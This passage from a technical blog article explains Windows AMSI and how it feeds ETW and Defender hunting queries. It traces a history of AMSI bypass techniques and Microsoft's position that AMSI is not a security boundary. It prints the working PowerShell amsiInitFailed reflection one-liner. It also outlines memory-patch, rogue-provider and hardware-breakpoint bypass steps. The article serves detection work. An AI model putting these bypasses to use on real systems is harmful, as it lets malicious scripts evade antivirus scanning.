&lt;p&gt;WMI is, in the abstract, an RPC protocol and a query language, but it is also a code-execution surface (&lt;code&gt;__EventConsumer&lt;/code&gt; persistence; &lt;code&gt;Win32_Process.Create&lt;/code&gt; lateral movement). The 1903 [@wiki-win10-versions] AMSI integration scans WMI scripting paths [@amsi-on-mdav], closing the persistence pivot that had been a favorite of post-exploitation toolkits since 2012.&lt;/p&gt;
&lt;h3&gt;Excel 4.0 macros (March 3, 2021)&lt;/h3&gt;
&lt;p&gt;XLM macros, the language that Microsoft Excel introduced in 1992 (one year before VBA, which arrived in 1993), is the textbook example of a runtime that never died. Attackers rediscovered XLM in 2019 and 2020: Trickbot, Zloader, and Ursnif campaigns all used XLM4 macros to bypass VBA-focused defenses. Microsoft retrofitted the trigger-buffer architecture from VBA to XLM and shipped on March 3, 2021 [@msec-xlm-amsi-2021]. The Microsoft post enumerates the full AMSI host list as of 2021: &quot;Office VBA macros; JScript; VBScript; PowerShell; WMI; Dynamically loaded .NET assemblies; MSHTA/Jscript9.&quot;&lt;/p&gt;
&lt;h3&gt;Windows 11 in-memory script scanning (2021+)&lt;/h3&gt;
&lt;p&gt;AMSI coverage has continued to expand in current Defender releases on Windows 10 and Windows 11 beyond the script-engine hosts above; the precise call-site list is documented per-Defender-release rather than in a single canonical Microsoft Learn page. The current Defender AMSI host list reads: &quot;PowerShell; JScript; VBScript; Windows Script Host (wscript.exe and cscript.exe); .NET Framework 4.8 or newer (scanning of all assemblies); Windows Management Instrumentation (WMI)&quot; [@amsi-on-mdav]. Living-Off-the-Land Binary (LOLBin) paths that bypassed the classic script-engine entry points have become a continuing focus of Defender&apos;s per-release AMSI extensions.&lt;/p&gt;

For detection engineers: the `appName` string you pass to `AmsiInitialize` becomes `DeviceEvents.AmsiProcessName` in the Defender XDR advanced-hunting schema, and the `contentName` you pass to `AmsiScanBuffer` becomes the human-readable label the SOC analyst triages [@deviceevents-table].&lt;p&gt;If you are &lt;em&gt;integrating&lt;/em&gt; a new host, set &lt;code&gt;contentName&lt;/code&gt; to the script-block ID, the assembly&apos;s friendly name, or the URL the macro came from. Never set it to a random GUID, never set it to an empty string. Future-you, hunting at 2 a.m., will thank present-you.&lt;/p&gt;
&lt;p&gt;If you are &lt;em&gt;hunting&lt;/em&gt;, the &lt;code&gt;AmsiProcessName&lt;/code&gt; column tells you which host did the scan, which lets you quickly distinguish a PowerShell payload that landed via &lt;code&gt;winword.exe&lt;/code&gt; (Office VBA -&amp;gt; Shell -&amp;gt; powershell.exe) from one that landed via &lt;code&gt;outlook.exe&lt;/code&gt; (link click -&amp;gt; Edge -&amp;gt; PowerShell). The two have completely different lateral-movement implications.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Seven runtimes, one API. The contract is that each one phones home before it runs your code. The next section is how the seven streams converge into one analyst&apos;s pane of glass.&lt;/p&gt;
&lt;h2&gt;7. AMSI Meets ETW: The Correlation Story&lt;/h2&gt;
&lt;p&gt;The architectural dichotomy fits in one sentence: AMSI is synchronous and can block; &lt;a href=&quot;https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/&quot; rel=&quot;noopener&quot;&gt;Event Tracing for Windows (ETW)&lt;/a&gt; is asynchronous and observation-only. They share the same data, the same provider, and the same calling convention, but they answer different questions. AMSI is for &lt;em&gt;decisions&lt;/em&gt;. ETW is for &lt;em&gt;correlation&lt;/em&gt; and &lt;em&gt;survives in-process bypass&lt;/em&gt;.&lt;/p&gt;

flowchart LR
    A[powershell.exe / winword.exe&lt;br /&gt;scanning host] --&amp;gt; B[amsi.dll AmsiScanBuffer prologue]
    B --&amp;gt; C[ETW provider 2A576B87-09A7-520E-C21A-4942F0271D67 emit event]
    B --&amp;gt; D[MpOav.dll IAntimalwareProvider Scan]
    D --&amp;gt; E[MsMpEng.exe verdict]
    E --&amp;gt; F[result returned synchronously to host]
    F --&amp;gt; G[host refuses or allows execution]
    C --&amp;gt; H[Defender ATP DeviceEvents AmsiScriptDetection]
    C --&amp;gt; I[Third-party EDR via Antimalware-PPL]
    C --&amp;gt; J[Sysmon SilkETW Sealighter on-host]
&lt;p&gt;The ETW provider name is &lt;code&gt;Microsoft-Antimalware-Scan-Interface&lt;/code&gt; and its GUID is &lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt; [@etw-manifest]. It emits a structured event for every &lt;code&gt;AmsiScanBuffer&lt;/code&gt; call. The event template has ten fields: &lt;code&gt;session&lt;/code&gt;, &lt;code&gt;scanStatus&lt;/code&gt;, &lt;code&gt;scanResult&lt;/code&gt;, &lt;code&gt;appname&lt;/code&gt;, &lt;code&gt;contentname&lt;/code&gt;, &lt;code&gt;contentsize&lt;/code&gt;, &lt;code&gt;originalsize&lt;/code&gt;, &lt;code&gt;content&lt;/code&gt;, &lt;code&gt;hash&lt;/code&gt;, &lt;code&gt;contentFiltered&lt;/code&gt;. The &lt;code&gt;content&lt;/code&gt; field is the deobfuscated buffer that just got scanned. That is the basis of every downstream telemetry product.&lt;/p&gt;

The Event Tracing for Windows provider with GUID `{2A576B87-09A7-520E-C21A-4942F0271D67}` that emits a structured event for every `AmsiScanBuffer` call. The event template carries the deobfuscated content, the AMSI result, the host&apos;s `appName`, and the host&apos;s `contentName`. Consumed by Defender, by third-party EDRs once they have Antimalware-PPL onboarded, and by community tools like SilkETW and Sealighter on individual hosts [@etw-manifest].
&lt;p&gt;Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; consumes the provider; third-party EDRs consume it once they have Antimalware-PPL onboarded; on individual hosts, community tools like SilkETW and Sealighter against the GUID let an analyst capture every scan on an air-gapped machine without a cloud connection.&lt;/p&gt;
&lt;p&gt;In Microsoft Defender for Endpoint, the same event surfaces in the &lt;code&gt;DeviceEvents&lt;/code&gt; table with &lt;code&gt;ActionType == &quot;AmsiScriptDetection&quot;&lt;/code&gt;, and the &lt;code&gt;AmsiData&lt;/code&gt; column carries the deobfuscated content, &lt;code&gt;AmsiPatchedTextInResult&lt;/code&gt; carries any provider-side rewriting, and &lt;code&gt;AmsiProcessName&lt;/code&gt; carries the host&apos;s &lt;code&gt;appName&lt;/code&gt; [@deviceevents-table]. The hunting community has converged on a few canonical patterns. Here is one of them: join the AMSI detection back to its parent process command line to recover the full attack chain.&lt;/p&gt;

DeviceEvents
| where ActionType == &quot;AmsiScriptDetection&quot;
| extend Description = tostring(parse_json(AdditionalFields).Description)
| project Timestamp, DeviceName, DeviceId, InitiatingProcessCommandLine,
          InitiatingProcessParentFileName, Description, ReportId
| join kind=leftouter (
    DeviceProcessEvents
    | project ProcessCommandLine, InitiatingProcessCommandLine,
              InitiatingProcessFolderPath, DeviceId, ReportId
  ) on DeviceId
| where Timestamp &amp;gt; ago(7d)
| sort by Timestamp desc
&lt;p&gt;The query is adapted from Bert-JanP&apos;s &lt;code&gt;AMSIScriptDetections.md&lt;/code&gt; hunting pack [@bertjan-amsi-queries] and maps each detection to MITRE T1059.001 -- Command and Scripting Interpreter: PowerShell [@attack-t1059-001]. The shape of the join is the load-bearing part: AMSI gives you the &lt;em&gt;what&lt;/em&gt; (the deobfuscated buffer), and &lt;code&gt;DeviceProcessEvents&lt;/code&gt; gives you the &lt;em&gt;how&lt;/em&gt; (the parent process and its command line). Together they are the full attack chain.The ETW provider runs from inside &lt;code&gt;AmsiScanBuffer&lt;/code&gt;&apos;s prologue, not at the (possibly bypass-clobbered) return. This is why a Cornelis de Plaa / Outflank 2020 hardware-breakpoint bypass that perfectly hides the scan &lt;em&gt;result&lt;/em&gt; still leaks ETW telemetry: the prologue emit happens before the breakpoint fires. The provider sees the scan happened; only the verdict is muted [@ethicalchaos].&lt;/p&gt;
&lt;p&gt;AMSI hands out the deobfuscated buffer; ETW makes sure someone saw it happen. The attacker&apos;s job for the next seven years was to make neither happen. Here is how that went.&lt;/p&gt;
&lt;h2&gt;8. The Bypass Arms Race: Six Eras in Nearly Seven Years&lt;/h2&gt;
&lt;p&gt;In seven years, attackers have generated six distinct bypass eras. Each era was the &lt;em&gt;necessary consequence&lt;/em&gt; of AMSI&apos;s same-process trust model. Each era&apos;s defeat by Defender required a new architectural insight, not a new signature. Here is the bird&apos;s-eye view.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;Era&lt;/th&gt;
&lt;th&gt;First public&lt;/th&gt;
&lt;th&gt;Attacker / source&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Defender response&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;May 2016&lt;/td&gt;
&lt;td&gt;Matt Graeber (tweet)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AmsiUtils.amsiInitFailed = true&lt;/code&gt; via reflection&lt;/td&gt;
&lt;td&gt;String signature on field-and-class proximity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;2&lt;/td&gt;
&lt;td&gt;February 2018&lt;/td&gt;
&lt;td&gt;Avi Gimpel and Zeev Ben Porat (CyberArk Labs)&lt;/td&gt;
&lt;td&gt;In-memory patch of &lt;code&gt;AmsiScanString&lt;/code&gt;; May 2018 redux patches &lt;code&gt;AmsiScanBuffer&lt;/code&gt; (&lt;code&gt;xor edi, edi&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Windows 10 1709 swaps to &lt;code&gt;AmsiScanBuffer&lt;/code&gt;; byte-pattern signature on common patches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;3&lt;/td&gt;
&lt;td&gt;2018-2019&lt;/td&gt;
&lt;td&gt;Various practitioners&lt;/td&gt;
&lt;td&gt;Obfuscated patches: hashed &lt;code&gt;GetProcAddress&lt;/code&gt;, indirect writes, randomized bytes&lt;/td&gt;
&lt;td&gt;Behavior signature: detect any write into &lt;code&gt;amsi.dll&lt;/code&gt; code section&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;4&lt;/td&gt;
&lt;td&gt;2019&lt;/td&gt;
&lt;td&gt;Various practitioners&lt;/td&gt;
&lt;td&gt;Register a malicious CLSID under &lt;code&gt;HKLM\...\AMSI\Providers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Windows 10 1709 DLL-hijack mitigation; 1903 Authenticode signing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;5&lt;/td&gt;
&lt;td&gt;January 29, 2020&lt;/td&gt;
&lt;td&gt;Cornelis de Plaa (Outflank)&lt;/td&gt;
&lt;td&gt;DR0 hardware breakpoint plus Vectored Exception Handler; no memory patch&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Microsoft-Windows-Kernel-Audit-API-Calls&lt;/code&gt; ETW &lt;code&gt;NtSetContextThread&lt;/code&gt; event (admin-side, no PPL gate); &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; on the remote-thread subset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;6&lt;/td&gt;
&lt;td&gt;December 2022&lt;/td&gt;
&lt;td&gt;Practical Security Analytics&lt;/td&gt;
&lt;td&gt;Patch CLR-side &lt;code&gt;Assembly.Load(byte[])&lt;/code&gt; AMSI callout in &lt;code&gt;clr.dll&lt;/code&gt;; bypass at managed boundary&lt;/td&gt;
&lt;td&gt;Signature on the CLR-side patch; &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; ETW correlation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Era 1: amsiInitFailed (May 2016)&lt;/h3&gt;
&lt;p&gt;The first public AMSI bypass is one line. Matt Graeber posted it as a tweet in May 2016; Sophos&apos;s June 2021 retrospective preserves the date and the tweet body for readers who cannot reach X: &quot;In May of 2016, PowerShell hacker Matt Graeber published a one-line AMSI evasion in a tweet&quot; [@sophos-bypasses]. MDSec&apos;s June 2018 walk-through reproduces the technique and its decompiled target:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;[Ref].Assembly.GetType(&apos;System.Management.Automation.AmsiUtils&apos;). `
  GetField(&apos;amsiInitFailed&apos;,&apos;NonPublic,Static&apos;). `
  SetValue($null, $true)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why does that work? Because the host&apos;s &lt;code&gt;AmsiUtils.ScanContent&lt;/code&gt; checks a private static boolean before doing anything. If the host&apos;s own managed state says &quot;AMSI failed to initialize,&quot; the host short-circuits every subsequent scan to &quot;clean.&quot; MDSec&apos;s analysis quotes the field declaration verbatim: &quot;What we are interested in is the variable &lt;code&gt;amsiInitFailed&lt;/code&gt;, which is defined as: &lt;code&gt;private static bool amsiInitFailed = false&lt;/code&gt;&quot; [@mdsec-evasion].&lt;/p&gt;
&lt;p&gt;The structural lesson is that AMSI&apos;s trust model includes the script engine&apos;s own managed state. PowerShell trusts itself. If you can flip a field in PowerShell&apos;s own memory, you have flipped PowerShell&apos;s trust in AMSI. The short-circuit logic looks like this:&lt;/p&gt;

{`// Decompiled sketch of System.Management.Automation.AmsiUtils.ScanContent.
// Source: Practical Security Analytics decompile of the PowerShell host.&lt;p&gt;function ScanContent(content, scriptName) {
  // amsiSession is AmsiUtils.amsiSession, a static field; not a parameter.
  if (amsiInitFailed) {
    // The bypass: flip this flag once via reflection, every subsequent
    // ScanContent returns AMSI_RESULT_NOT_DETECTED without ever calling
    // amsi.dll. amsiInitFailed is a PRIVATE STATIC field of AmsiUtils;
    // reflection makes it writable from any AppDomain.
    return AMSI_RESULT_NOT_DETECTED;
  }
  if (!amsiInitialized) {
    initialize();  // lazy AmsiInitialize + AmsiOpenSession
  }
  return AmsiNativeMethods.AmsiScanBuffer(
    amsiContext, content, content.length, scriptName, amsiSession);
}`}
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Defender&apos;s response was a string signature on &lt;code&gt;amsiInitFailed&lt;/code&gt; plus class-name proximity. Sophos reports that &quot;the &lt;code&gt;amsiInitFailed&lt;/code&gt; bypass still accounts for about 1 percent of detections, based on a 90-day chunk of telemetry data from February to May of 2021&quot; [@sophos-bypasses]. The bypass is detected almost everywhere it appears, yet it still appears, because some commodity actor still ships the literal string verbatim.&lt;/p&gt;
&lt;h3&gt;Era 2: In-memory &lt;code&gt;AmsiScanString&lt;/code&gt; / &lt;code&gt;AmsiScanBuffer&lt;/code&gt; patch (February 2018)&lt;/h3&gt;
&lt;p&gt;Avi Gimpel and Zeev Ben Porat at CyberArk Labs published the first canonical in-memory native-code patch in February 2018 [@cyberark-patching]. The technique: &lt;code&gt;LoadLibrary(&quot;amsi.dll&quot;)&lt;/code&gt;, &lt;code&gt;GetProcAddress(&quot;AmsiScanString&quot;)&lt;/code&gt;, &lt;code&gt;VirtualProtect&lt;/code&gt; the page to read-write-execute, overwrite the function prologue with &lt;code&gt;mov eax, E_INVALIDARG; ret&lt;/code&gt;, restore the protection. Every subsequent &lt;code&gt;AmsiScanString&lt;/code&gt; returns &lt;code&gt;E_INVALIDARG&lt;/code&gt; without ever talking to the provider.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The first canonical in-memory AMSI patch attack was published by Avi Gimpel and Zeev Ben Porat at CyberArk Labs in February 2018 [@cyberark-patching]. It is sometimes misattributed to Tal Liberman at Black Hat USA 2016; no Liberman BH USA 2016 AMSI talk was independently locatable, and the canonical CyberArk article carries the Gimpel and Ben Porat byline.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Microsoft&apos;s 1709 response was to change which function PowerShell called. Instead of &lt;code&gt;AmsiScanString&lt;/code&gt;, PowerShell 5.0 in 1709 calls &lt;code&gt;AmsiScanBuffer&lt;/code&gt;, breaking the Gimpel and Ben Porat patch outright [@cyberark-redux]. Gimpel and Ben Porat published the redux in May 2018: target the new function with a smaller, semantically equivalent patch, &lt;code&gt;xor edi, edi&lt;/code&gt;. The instruction zeros the buffer-length register, which makes &lt;code&gt;AmsiScanBuffer&lt;/code&gt; think the host handed it an empty buffer and return &lt;code&gt;AMSI_RESULT_CLEAN&lt;/code&gt; [@cyberark-redux].&lt;/p&gt;
&lt;p&gt;The on-record Microsoft response to the CyberArk disclosures is the single most quoted sentence in the AMSI corpus. We hold its full force until §9, but here is the verbatim text Gimpel and Ben Porat reproduced under the heading &quot;Microsoft Security Response Center (MSRC) Response&quot; in their May 2018 redux:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The AMSI was not designed to prevent such attacks. If an attacker can execute code in a process using AMSI to scan for malware, there are numerous ways to alter the behavior of the AMSI scan.&quot; -- Microsoft Security Response Center, quoted in CyberArk Labs (May 2018 redux) [@cyberark-redux].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Era 3: Obfuscated patches (2018-2019)&lt;/h3&gt;
&lt;p&gt;Defender&apos;s first response was a byte-pattern signature on the common patches. Practitioners replied by randomizing the patch bytes, resolving &lt;code&gt;AmsiScanBuffer&lt;/code&gt; by hash rather than by name, writing the patch from indirect memory locations to defeat string-based hunts, and so on. The defender response, in turn, was to stop chasing the byte pattern and start watching for &lt;em&gt;the write itself&lt;/em&gt;: any RWX write into &lt;code&gt;amsi.dll&lt;/code&gt;&apos;s code section, regardless of byte pattern, is suspicious. Trend Micro&apos;s bypass-techniques retrospective lists the era&apos;s techniques side by side: &quot;Obfuscation and/or encryption; PowerShell downgrade; Hooks and unhooks; Memory patching; Forcing an error; Registry modifications; DLL hijacking; Reflection&quot; [@trendmicro-bypass].&lt;/p&gt;
&lt;h3&gt;Era 4: Provider COM-hijack (2019)&lt;/h3&gt;
&lt;p&gt;A different attack class: register a malicious CLSID under &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI\Providers&lt;/code&gt;, write your own DLL into the standard COM tree, and &lt;code&gt;amsi.dll&lt;/code&gt; will dutifully load it in-process at &lt;code&gt;AmsiInitialize&lt;/code&gt; time [@redcanary-amsi]. Your provider then returns &lt;code&gt;AMSI_RESULT_CLEAN&lt;/code&gt; for everything, regardless of what the actual antivirus would have said. Admin is required to write the keys, but admin is required for a lot of post-exploitation work, and AMSI is in the trust path for a lot of post-exploitation script.&lt;/p&gt;
&lt;p&gt;The defender response was Windows 10 1709&apos;s DLL-hijack mitigation (provider DLLs that did not load their dependencies with full paths refused to load) and Windows 10 1903&apos;s optional Authenticode signing requirement. With &lt;code&gt;HKLM\SOFTWARE\Microsoft\AMSI\FeatureBits = 0x2&lt;/code&gt;, an unsigned provider refuses to load entirely [@amsi-iantimalware].&lt;/p&gt;
&lt;h3&gt;Era 5: Hardware-breakpoint VEH bypass (January 29, 2020)&lt;/h3&gt;
&lt;p&gt;Cornelis de Plaa, posting as Cneelis at Outflank, published the patchless AMSI bypass on January 29, 2020. The technique elegantly sidesteps every prior defender response by never patching &lt;code&gt;amsi.dll&lt;/code&gt; at all. The Outflank post itself is no longer reachable from non-browser clients (the access caveat and accessible corroborators appear in the Sidenote below); the technique mechanics, attribution, and date are preserved verbatim by EthicalChaos (April 2022) [@ethicalchaos], CrowdStrike (2024) [@crowdstrike-veh], and Trend Micro (December 2022) [@trendmicro-bypass]. Steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;AddVectoredExceptionHandler(1, exceptionHandler)&lt;/code&gt; -- register a vectored exception handler.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;DR0&lt;/code&gt; to the address of &lt;code&gt;AmsiScanBuffer&lt;/code&gt; via &lt;code&gt;SetThreadContext&lt;/code&gt;. The &lt;code&gt;DR0&lt;/code&gt;-&lt;code&gt;DR3&lt;/code&gt; registers are CPU hardware breakpoints; the processor raises &lt;code&gt;EXCEPTION_SINGLE_STEP&lt;/code&gt; the moment instruction pointer hits the breakpoint address.&lt;/li&gt;
&lt;li&gt;When the breakpoint fires, the exception handler executes. It sets &lt;code&gt;RAX = AMSI_RESULT_CLEAN&lt;/code&gt;, advances &lt;code&gt;RIP&lt;/code&gt; past the function body, and returns &lt;code&gt;EXCEPTION_CONTINUE_EXECUTION&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There is zero static artifact in &lt;code&gt;amsi.dll&lt;/code&gt;. The code section is untouched. Every signature that depends on a write into &lt;code&gt;amsi.dll&lt;/code&gt; is dead. EthicalChaos reproduces the technique mechanics verbatim two years later: &quot;the idea will be to register a vectored exception handler then set a breakpoint on a function within &lt;code&gt;amsi.dll&lt;/code&gt; ... &lt;code&gt;AddVectoredExceptionHandler(1, exceptionHandler) ... SetThreadContext((HANDLE)-2, &amp;amp;threadCtx)&lt;/code&gt;&quot; [@ethicalchaos].The original Outflank 2020-01-29 blog post (outflank.nl, &quot;Bypassing AMSI by manipulating the AMSI scan results&quot;) is no longer reachable from non-browser clients and has no Wayback snapshot; this article therefore cites only accessible corroborators rather than the link-rotten primary. The technique mechanics in this section are reproduced verbatim by EthicalChaos (April 2022) [@ethicalchaos], CrowdStrike (2024) [@crowdstrike-veh], and Trend Micro (December 2022) [@trendmicro-bypass].&lt;/p&gt;
&lt;p&gt;The Defender response is the one this article keeps circling back to: kernel-side ETW. The hardware-breakpoint bypass calls &lt;code&gt;SetThreadContext&lt;/code&gt; to write to &lt;code&gt;DR0&lt;/code&gt;. The &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; (EtwTi) provider&apos;s &lt;code&gt;NtSetContextThread&lt;/code&gt; event covers remote-thread context writes, but in-thread context writes (which is what the patchless bypass performs) are more reliably caught by &lt;code&gt;Microsoft-Windows-Kernel-Audit-API-Calls&lt;/code&gt;, the provider CrowdStrike documents as its primary detection path. CrowdStrike&apos;s writeup gives the framing: &quot;the &lt;code&gt;DR0&lt;/code&gt;-&lt;code&gt;DR3&lt;/code&gt; debug registers contain the addresses of hardware (HW) breakpoints ... patchless AMSI attack called VEH-squared ... mapped in the technique Impair Defenses: Disable or Modify Tools by the MITRE ATT&amp;amp;CK framework (T1562.001)&quot; [@crowdstrike-veh] -- and MITRE&apos;s T1562.001 redirect [@attack-t1562-001] now sends readers to T1685 [@attack-t1685], the unified &quot;Impair Defenses: Disable or Modify Tools&quot; technique. The catch: EtwTi is gated on Antimalware-PPL consumers. Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; and a small set of onboarded third-party EDRs see it. Non-PPL products do not.&lt;/p&gt;

Antimalware Protected Process Light. A Windows signer level (introduced in Windows 8.1, hardened in Windows 10) that lets Defender&apos;s `MsMpEng.exe` and onboarded third-party EDRs consume gated ETW providers like `Microsoft-Windows-Threat-Intelligence` (EtwTi). Without PPL, an EDR cannot see EtwTi events, which means it cannot detect patchless hardware-breakpoint AMSI bypasses through ETW.
&lt;h3&gt;Era 6: CLR-DLL load-time patch (December 2022)&lt;/h3&gt;
&lt;p&gt;If patching &lt;code&gt;amsi.dll&lt;/code&gt; directly is signature-rich, patch something further up the call chain. Practical Security Analytics published the technique in December 2022 [@psa-clr-hooking]: patch the .NET CLR&apos;s own AMSI callout (the managed-side wrapper inside &lt;code&gt;clr.dll&lt;/code&gt; that calls &lt;code&gt;AmsiScanBuffer&lt;/code&gt; on &lt;code&gt;Assembly.Load(byte[])&lt;/code&gt;) rather than &lt;code&gt;amsi.dll&lt;/code&gt; itself. The technique &quot;has an advantage over other API Call Hooking techniques that target native functions such as &lt;code&gt;AMSI.dll::AmsiScanBuffer&lt;/code&gt; in that this method is more difficult to prevent with EDR or Application Protection rules&quot; -- the patched bytes live in &lt;code&gt;clr.dll&lt;/code&gt;, not &lt;code&gt;amsi.dll&lt;/code&gt;, and many defender rules only watch the latter.&lt;/p&gt;
&lt;p&gt;The defender response was twofold: signature on the CLR-side patch bytes, and correlation against the &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; ETW provider. The DotNETRuntime provider emits an &lt;code&gt;AssemblyLoadFinished&lt;/code&gt; event for every &lt;code&gt;Assembly.Load&lt;/code&gt; call. If the CLR-side AMSI callout has been muted, the load event fires anyway, and Defender now has a &lt;code&gt;DotNETRuntime&lt;/code&gt; event with no corresponding &lt;code&gt;AmsiScanBuffer&lt;/code&gt; event in the prior microseconds. That gap is the signal.&lt;/p&gt;
&lt;h3&gt;Era 7: The behavioral era (2023+)&lt;/h3&gt;
&lt;p&gt;By 2023, the bypass families had grown beyond enumeration. Microsoft&apos;s response was structural: stop trying to enumerate bypass techniques, and start scoring the &lt;em&gt;gap&lt;/em&gt;. Defender&apos;s machine-learning models, described in the August 2020 disclosure on pairs-of-classifiers [@msec-amsi-ml-2020], feed not just on the content of AMSI events but on the &lt;em&gt;cadence&lt;/em&gt; of AMSI events per process. A &lt;code&gt;powershell.exe&lt;/code&gt; that has been alive for 90 seconds, run 14 commands, and emitted zero &lt;code&gt;AmsiScriptDetection&lt;/code&gt; ETW events when the cohort baseline expects six is suspicious regardless of the technical mechanism behind the silence. The structural insight: the win condition is no longer &quot;detect the bypass&quot; but &quot;notice that scanning has stopped.&quot;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; AMSI&apos;s &lt;em&gt;capability&lt;/em&gt; (post-deobfuscation, synchronous, blocking) and its &lt;em&gt;failure mode&lt;/em&gt; (same-process bypass) come from the same architectural fact. Running in the script engine&apos;s process is the only way to see the post-deobfuscation bytes; it is also the only way to be muted by anything else running in that process. Defender&apos;s 2023+ response, scoring the gap rather than the bypass, is the only structurally durable answer because it works against any technique.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The bypass arms race is a symptom, not the disease. The disease is what Microsoft has been saying out loud since 2018: AMSI is not, and was never designed to be, a security boundary.&lt;/p&gt;
&lt;h2&gt;9. What AMSI Is Not: The MSRC Boundary Position&lt;/h2&gt;
&lt;p&gt;When Avi Gimpel and Zeev Ben Porat disclosed their in-memory AMSI patches to the Microsoft Security Response Center across early 2018, the response they received and reproduced verbatim under the &quot;MSRC Response&quot; heading of their May 2018 redux is the most important single sentence in the AMSI corpus:&lt;/p&gt;

The AMSI was not designed to prevent such attacks. If an attacker can execute code in a process using AMSI to scan for malware, there are numerous ways to alter the behavior of the AMSI scan.&lt;p&gt;-- Microsoft Security Response Center, quoted in CyberArk Labs (May 2018 redux)
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;That sentence is not a Microsoft retreat under pressure. It is the published structural position. The Windows Security Servicing Criteria framework, which MSRC uses to triage every bug report against Windows, asks one question to determine whether a finding is serviced as a security vulnerability: &quot;Does the vulnerability violate the goal or intent of a security boundary or a security feature? ... If the answer to either question is no, then by default the vulnerability will be considered for the next version or release of Windows but will not be addressed through a security update or guidance&quot; [@msrc-criteria]. AMSI is published as neither a boundary nor a feature in that taxonomy. Bypasses of AMSI are not security bugs in MSRC&apos;s published framework. They get fixed when Microsoft can fix them. They do not get CVEs.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; AMSI is not a security boundary. It is a high-coverage telemetry seam that closes one specific evasion strategy -- pre-execution obfuscation -- and concedes everything else to the layers above and below it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So why is AMSI valuable anyway?&lt;/p&gt;

flowchart TD
    A[AMSI same-process trust model] --&amp;gt; B{Attacker has code execution in the host?}
    B -- No, the attacker is delivering an unprivileged script --&amp;gt; C[AMSI scans the deobfuscated buffer&lt;br /&gt;provider returns DETECTED&lt;br /&gt;host refuses to run]
    B -- Yes, the attacker has unrestricted code execution --&amp;gt; D[AMSI scan is mutable in-process]
    D --&amp;gt; E[ETW provider 2A576B87 emits from inside the prologue]
    E --&amp;gt; F[Defender / EDR sees the scan happened; bypass leaks telemetry]
    D --&amp;gt; G[Defender&apos;s behavioral cohort scoring]
    G --&amp;gt; H[Gap detection: process emitted 0 AmsiData events; cohort expects ~6]
    C --&amp;gt; I[AMSI as synchronous gate: WIN]
    F --&amp;gt; J[AMSI bypass leaves ETW fingerprint: WIN]
    H --&amp;gt; K[Behavioral gap detection: WIN]
&lt;p&gt;There are two trust assumptions, and both hold for most real-world attacks. The first is that the attacker is &lt;em&gt;unprivileged&lt;/em&gt;: they are delivering an obfuscated script payload inside a host process they did not control before delivery. The phishing-document case in §1 is exactly this. AMSI&apos;s synchronous gate beats them. The second is that Defender&apos;s &lt;em&gt;ETW telemetry&lt;/em&gt; of AMSI scans, including the &lt;em&gt;gaps&lt;/em&gt; in those scans, survives the bypass. Even when an in-process bypass mutes the synchronous return, the ETW provider&apos;s prologue emit still fires, and behavioral cohort scoring still notices the missing events. AMSI bypasses leak. Defender&apos;s win condition is that the leak is enough.&lt;/p&gt;
